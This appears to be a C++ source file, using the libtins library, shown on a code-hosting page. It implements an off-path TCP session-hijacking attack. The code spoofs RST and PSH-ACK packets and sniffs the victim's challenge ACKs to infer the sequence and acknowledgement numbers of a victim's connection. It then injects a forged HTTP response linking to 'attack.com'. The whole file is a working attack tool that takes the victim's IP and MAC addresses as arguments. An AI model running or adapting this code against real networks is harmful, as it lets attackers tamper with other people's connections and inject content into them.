You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

695 lines
18 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. using std::thread;
  8. using std::cout;
  9. using std::vector;
  10. using namespace Tins;
  11. long current_spoof_seq;
  12. long current_spoof_ack;
  13. long current_min_ack;
  14. long best_seq = 0;
  15. long best_ack;
  16. vector<long> possible_seqs;
  17. vector<long> possible_acks;
  18. int num_sent = 0;
  19. int current_round = 1;
  20. bool ack_search = false;
  21. bool track_nums = false;
  22. bool count_chacks = false;
  23. bool sniffed_chack = false;
  24. bool show = false;
  25. bool testing = true; // if using netcat set to true, else false
  26. int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
  27. std::string victim_wlan_addr, dest_ip, remote_addr, interface;
  28. int sport, dport, request_size, chack_count;
  29. std::string dest_mac; // victim mac addr
  30. std::string src_mac = ""; // src mac doesn't matter
  31. void print_divider(int count) {
  32. int i = 0;
  33. while (i < count) {
  34. cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  35. i++;
  36. }
  37. }
  38. // Injects a malicious payload with the exact seq
  39. // and in-window ack inferred before
  40. //
  41. int inject_junk(long exact_seq, long in_win_ack) {
  42. PacketSender sender;
  43. NetworkInterface iface(interface);
  44. std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
  45. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);;
  46. TCP& tcp = pkt.rfind_pdu<TCP>();
  47. tcp.set_flag(TCP::PSH, 1);
  48. tcp.set_flag(TCP::ACK, 1);
  49. tcp.seq(exact_seq);
  50. tcp.ack_seq(in_win_ack);
  51. print_divider(2);
  52. cout << "attempting to inject garbage into the connection..\n";
  53. cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
  54. sender.send(pkt, iface);
  55. num_sent ++;
  56. return 1;
  57. }
  58. // Send the same probe a number of times
  59. // to see if the same amount of responses are
  60. // triggered from the client
  61. //
  62. bool rechack(long seq, long ack, int num_checks) {
  63. PacketSender sender;
  64. NetworkInterface iface(interface);
  65. count_chacks = true;
  66. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
  67. TCP& tcp = pkt.rfind_pdu<TCP>();
  68. if (ack == 0) {
  69. tcp.set_flag(TCP::RST, 1);
  70. } else {
  71. tcp.set_flag(TCP::PSH, 1);
  72. tcp.set_flag(TCP::ACK, 1);
  73. tcp.ack_seq(ack);
  74. }
  75. tcp.seq(seq);
  76. chack_count = 0;
  77. int count = 0;
  78. usleep(1000000 / 2);
  79. while (count < num_checks) {
  80. sender.send(pkt, iface);
  81. num_sent ++;
  82. usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
  83. count ++;
  84. }
  85. usleep(1000000);
  86. // should have just sniffed as many chacks as we just sent
  87. cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
  88. if (chack_count >= num_checks) {
  89. return true;
  90. }
  91. count_chacks = false;
  92. return false;
  93. }
  94. // Use the fact the client will respond to empty PSH-ACKs
  95. // that have an in window ack AND a sequence number less than the exact
  96. // next expected sequence, with chall-acks to infer exact sequence num
  97. //
  98. long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
  99. PacketSender sender;
  100. NetworkInterface iface(interface);
  101. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
  102. TCP& tcp = pkt.rfind_pdu<TCP>();
  103. tcp.set_flag(TCP::PSH, 1);
  104. tcp.set_flag(TCP::ACK, 1);
  105. tcp.ack_seq(in_win_ack);
  106. count_chacks = false;
  107. track_nums = false;
  108. long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
  109. sniffed_chack = false;
  110. long curr_seq = in_win_seq;
  111. // Continually decrement the in window sequence number
  112. // until we sniff a chack which means we just passed the
  113. // left edge of the sequence window
  114. //
  115. print_divider(1);
  116. bool is_found = false;
  117. while (!is_found) {
  118. long j = curr_seq;
  119. sniffed_chack = false;
  120. while (j > min_seq && !sniffed_chack) {
  121. usleep(send_delay);
  122. cout << "spoofing with seq: " << j << "\n";
  123. tcp.seq(j);
  124. sender.send(pkt, iface);
  125. num_sent ++;
  126. j -= 1;
  127. }
  128. usleep(100000);
  129. curr_seq = best_seq;
  130. cout << "best seq at end of exact scan: " << curr_seq << "\n";
  131. print_divider(1);
  132. is_found = rechack(curr_seq, in_win_ack, 2);
  133. if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
  134. }
  135. return curr_seq;
  136. }
  137. // Use the fact the client will respond to empty PSH-ACKs
  138. // that have an in window sequence number AND ack number less than the
  139. // ack number in use with chall-acks to infer an in-window ack number
  140. //
  141. long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
  142. PacketSender sender;
  143. NetworkInterface iface(interface);
  144. // Loop over ack space sending empty push-acks
  145. // that use the in window sequence number found before
  146. //
  147. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
  148. TCP& tcp = pkt.rfind_pdu<TCP>();
  149. tcp.set_flag(TCP::PSH, 1);
  150. tcp.set_flag(TCP::ACK, 1);
  151. tcp.seq(in_win_seq);
  152. sniffed_chack = false;
  153. chack_count = 0;
  154. count_chacks = true;
  155. track_nums = true;
  156. current_min_ack = min_ack;
  157. long j = max_ack;
  158. long current_ack = 0;
  159. best_ack = 0;
  160. while (j > min_ack && chack_count < chack_trigs) {
  161. usleep(send_delay);
  162. tcp.ack_seq(j);
  163. sender.send(pkt, iface);
  164. num_sent ++;
  165. if (verbose && show) cout << "spoofing with ack: " << j << "\n";
  166. if (j < 100000000) { // for tiny ack range
  167. j -= block_size / 100;
  168. } else {
  169. j -= block_size;
  170. }
  171. }
  172. usleep(100000);
  173. for (int i = 0; i < possible_acks.size(); i ++) {
  174. long cack = possible_acks[i];
  175. if (cack > current_ack) current_ack = cack;
  176. }
  177. cout << "best ack at end of ack scan: " << current_ack << "\n";
  178. track_nums = false;
  179. return current_ack;
  180. }
  181. // Finds the "quiet" portion of the ack range to
  182. // start scanning and then begins to find an approx
  183. // ack block close to the one being used
  184. //
  185. long quack_spread(long in_win_seq) {
  186. cout << "starting quack spread w seq: " << in_win_seq << "\n";
  187. long start_ack_guess = 4294967294 / 2;
  188. long end_ack_guess = 100;
  189. long block_size = 100000000;
  190. sniffed_chack = false; // assume its gonna find an ack here first
  191. // if the actual ack is less than half of the max_ack allowed,
  192. // then it will consider acks at the very top end of the ack space (~429.....)
  193. // to be less than that small ack. therefore, we check if the max ack
  194. // triggers chacks right away, if so then we half the start_ack guess (~214....)
  195. bool triggering = rechack(in_win_seq, start_ack_guess, 3);
  196. cout << "is ack in upper half? " << triggering << "\n";
  197. if (triggering) { // then we know the ack is in the lower half of the ack space
  198. start_ack_guess = start_ack_guess * 2;
  199. }
  200. long j = start_ack_guess;
  201. sniffed_chack = false;
  202. print_divider(1);
  203. // Now continually decrement ack until we trigger another chack
  204. //
  205. int send_delay = 75000;
  206. bool is_found = false;
  207. long current_ack = 0;
  208. while (!is_found) {
  209. current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
  210. cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
  211. print_divider(1);
  212. // recheck and send multiple to make sure we found correct ack block
  213. is_found = rechack(in_win_seq, current_ack, 2);
  214. if (show) cout << "was in win after rechack? " << is_found << "\n";
  215. if (!is_found) start_ack_guess = current_ack;
  216. }
  217. return current_ack;
  218. }
  219. // Use the fact the client will respond to RSTs
  220. // with an in-window sequence number with chall-acks to
  221. // infer an in-window seq number
  222. //
  223. long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
  224. PacketSender sender;
  225. NetworkInterface iface(interface);
  226. long max_seq = top_seq;
  227. long adder = prev_block_size * delay_mult;
  228. cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
  229. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
  230. TCP& tcp = pkt.rfind_pdu<TCP>();
  231. tcp.set_flag(TCP::RST, 1);
  232. long i;
  233. for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
  234. tcp.seq(i);
  235. sender.send(pkt, iface);
  236. num_sent ++;
  237. usleep(send_delay);
  238. }
  239. cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
  240. return best_seq;
  241. }
  242. // Attempt to sniff challenge acks while recording
  243. // the last sequence or ack number we spoofed
  244. //
  245. bool handle_packet(PDU &some_pdu) {
  246. const IP &ip = some_pdu.rfind_pdu<IP>();
  247. if (ack_search) {
  248. // keep track of the last ack num we spoofed
  249. if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
  250. if (ip.src_addr() == victim_wlan_addr) {
  251. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  252. //cout << payload << "\n";
  253. if (payload == 115) { // each triggered chall-ack is 115 length SSL
  254. if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
  255. if (count_chacks) chack_count += 1;
  256. if (track_nums) possible_acks.push_back(current_spoof_ack);
  257. if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
  258. sniffed_chack = true;
  259. }
  260. }
  261. } else if (sniff_request == 1) {
  262. // sniffing for a certain client request size (last step after finding seq and ack)
  263. if (ip.src_addr() == victim_wlan_addr) {
  264. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  265. cout << "sniffed cli request of size " << payload << "\n";
  266. if (payload == request_size) {
  267. sniff_request = 2;
  268. }
  269. }
  270. } else { // sniffing for chack during sequence search
  271. // keep track of the last sequence num we spoofed
  272. if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
  273. if (ip.src_addr() == victim_wlan_addr) {
  274. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  275. //cout << payload << "\n";
  276. if (payload == 115) { // each triggered chall-ack is 115 length SSL
  277. if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
  278. if (track_nums) {
  279. best_seq = current_spoof_seq;
  280. possible_seqs.push_back(current_spoof_seq);
  281. } else if (count_chacks) { //
  282. chack_count += 1;
  283. best_seq = current_spoof_seq;
  284. } else {
  285. if (!sniffed_chack) {
  286. if (best_seq == 0) { // still in initial seq spread
  287. best_seq = current_spoof_seq;
  288. sniffed_chack = true;
  289. } else {
  290. // make sure new seq is less than the previous sniffed one
  291. if (current_spoof_seq < best_seq) {
  292. best_seq = current_spoof_seq;
  293. sniffed_chack = true;
  294. }
  295. }
  296. }
  297. }
  298. }
  299. }
  300. }
  301. return true;
  302. }
  303. void sniff_stuff() {
  304. SnifferConfiguration config;
  305. config.set_promisc_mode(true);
  306. Sniffer sniffer(interface, config);
  307. sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
  308. }
  309. // Try to find an in window sequence number using
  310. // one of the very rough estimates found in the first
  311. // sequence spread
  312. long try_seq_block(long current_seq) {
  313. // Just did round 1 spoofing fast to get rough estimate of
  314. // in window sequence number, now we send a round 2 and 3 spreads
  315. // using the approximated seq with lower send rates
  316. current_round = 2;
  317. sniffed_chack = false;
  318. int wait_count = 0;
  319. best_seq = current_seq;
  320. usleep(1000000 / 2);
  321. // this will take into account the last block size of 50k,
  322. // skip in blocks of 1055 seq nums per send, assume the last
  323. // rounds delay was 80 packets for a response, and send every 150 msecs
  324. long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
  325. while (best_seq == current_seq) {
  326. usleep(500000);
  327. if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
  328. wait_count +=1;
  329. if (wait_count > 5) return -1;
  330. }
  331. // Now we should have a close estimate to an in-window seq
  332. // so next do a third scan at much slower rate to ensure its
  333. // an in-window sequence num
  334. print_divider(1);
  335. usleep(1000000 / 2);
  336. sniffed_chack = false;
  337. current_round += 1;
  338. current_seq = best_seq;
  339. wait_count = 0;
  340. long s2 = find_seq_block(1055, 20, 50, 600, current_seq);
  341. while (best_seq == current_seq) {
  342. usleep(500000);
  343. if (show) cout << "waiting on round 3 chack..\n";
  344. wait_count +=1;
  345. if (wait_count > 5) return -1;
  346. }
  347. return best_seq;
  348. }
  349. // Gets rough estimate of sequence number in use
  350. // by spreading entire sequence range quickly then
  351. // tries to find in win sequence using each
  352. //
  353. long find_in_win_seq() {
  354. PacketSender sender;
  355. NetworkInterface iface(interface);
  356. long start_seq_guess = 1;
  357. long max_seq_num = 4294967295;
  358. track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
  359. cout << "spreading the connections entire sequence number range...\n";
  360. usleep(1000000 / 2);
  361. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
  362. TCP& tcp = pkt.rfind_pdu<TCP>();
  363. tcp.set_flag(TCP::RST, 1);
  364. long i;
  365. for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
  366. tcp.seq(i);
  367. sender.send(pkt, iface);
  368. num_sent ++;
  369. usleep(10);
  370. }
  371. usleep(1000000);
  372. cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
  373. track_nums = false;
  374. int j = 0;
  375. long in_win_seq = -1;
  376. while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
  377. print_divider(1);
  378. current_round = 0;
  379. if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
  380. in_win_seq = try_seq_block(possible_seqs[j]);
  381. j ++;
  382. if (show) cout << "in win seq after try? " << in_win_seq << "\n";
  383. usleep(1000000 / 2);
  384. }
  385. possible_seqs.clear();
  386. track_nums = false;
  387. print_divider(1);
  388. usleep(1000000 / 2);
  389. return best_seq;
  390. }
  391. // Send two spoof rounds while increasing the send delay and
  392. // decreasing block size to quickly get in-win ack estimate
  393. //
  394. long find_in_win_ack(long in_win_seq) {
  395. // quack should be below current ack in use but we only rechack once first round
  396. ack_search = true;
  397. long quack = quack_spread(in_win_seq);
  398. // Spoof empty PSH-ACKs starting at 'quack' plus some send delay
  399. // until we sniff a chack and know we just went below the left
  400. // edge of the ack window
  401. usleep(1000000);
  402. print_divider(1);
  403. possible_acks.clear();
  404. long block_size = 10000;
  405. int send_delay = 500;
  406. long max_ack = quack + (1 * 100000000);
  407. long min_ack = quack;
  408. long clack;
  409. bool is_found = false;
  410. while (!is_found) { // retry ack scan until we find block triggering chacks
  411. cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n";
  412. clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2);
  413. is_found = rechack(in_win_seq, clack, 2);
  414. if (show) cout << "was in win after rechack? " << is_found << "\n";
  415. int i = 0;
  416. while (!is_found && i < possible_acks.size()) {
  417. long some_ack = possible_acks[i];
  418. if (show) cout << "finished ack scan 1 w possible in window ack: " << some_ack << "\n";
  419. print_divider(1);
  420. is_found = rechack(in_win_seq, some_ack, 2);
  421. if (show) cout << "was in win after rechack? " << is_found << "\n";
  422. i ++;
  423. if (is_found) clack = some_ack;
  424. }
  425. max_ack = clack;
  426. }
  427. possible_acks.clear();
  428. usleep(1000);
  429. // clack should be an in window ack so now we have both in window
  430. // sequence and in window ack numbers.
  431. //
  432. ack_search = false;
  433. track_nums = false;
  434. // clack has been consistently within 40k of next ack while testing but
  435. // it needs to be less than the expected ack by at most 20k to be
  436. // accepted as a valid ack, so here we add 30k to counter our delay
  437. // but a third ack scan could be added to make it more accurate
  438. //
  439. long in_win_ack = clack + 30000;
  440. return in_win_ack;
  441. }
  442. // After we've found exact seq and in-win ack, attacker waits
  443. // for a specific request size to inject the response into
  444. //
  445. int wait_for_request(long exact_seq, long in_win_ack) {
  446. sniff_request = 1;
  447. int res = 0;
  448. while (sniff_request != 2) {
  449. usleep(500000);
  450. if (show) cout << "waiting for request of size..\n";
  451. }
  452. if(show) cout << "Sniffed request packet to respond to\n";
  453. res = inject_junk(exact_seq, in_win_ack);
  454. return res;
  455. }
  456. // Attempt to infer the exact sequence number
  457. // and in-window ack in use by the connection
  458. //
  459. int phase_three_spread() {
  460. bool is_found = false;
  461. long in_win_seq = 0;
  462. // Loop until we find in window seq
  463. while (!is_found) {
  464. in_win_seq = find_in_win_seq();
  465. print_divider(1);
  466. is_found = rechack(in_win_seq, 0, 2);
  467. cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n";
  468. if (!is_found) usleep(1000000 / 2);
  469. }
  470. // At this point we should have an in-window sequence number and
  471. // next step is to find an in-window ack number for the connection
  472. //
  473. usleep(1000000 / 2);
  474. long in_win_ack = find_in_win_ack(in_win_seq);
  475. cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
  476. long exact_seq = find_exact_seq(in_win_seq, in_win_ack, 100000) + 1; // should be one less than left edge
  477. cout << "final exact seq guess: " << exact_seq << "\n";
  478. cout << "total number of packets sent: " << num_sent << "\n";
  479. print_divider(2);
  480. int res = 0;
  481. if (testing) { // for netcat
  482. res = inject_junk(exact_seq, in_win_ack);
  483. } else { // for normal http injection
  484. cout << "waiting for client to request any page within inferred connection...";
  485. res = wait_for_request(exact_seq, in_win_ack);
  486. }
  487. return res;
  488. }
  489. int main(int argc, char** argv) {
  490. if (argc != 9) {
  491. cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size, iface)\n";
  492. return 0;
  493. }
  494. remote_addr = argv[1];
  495. sport = atoi(argv[2]);
  496. victim_wlan_addr = argv[3];
  497. dest_ip = argv[4];
  498. dest_mac = argv[5];
  499. dport = atoi(argv[6]);
  500. request_size = atoi(argv[7]);
  501. interface = argv[8];
  502. thread sniff_thread(sniff_stuff);
  503. print_divider(2);
  504. int r = phase_three_spread();
  505. sniff_thread.detach();
  506. return 0;
  507. }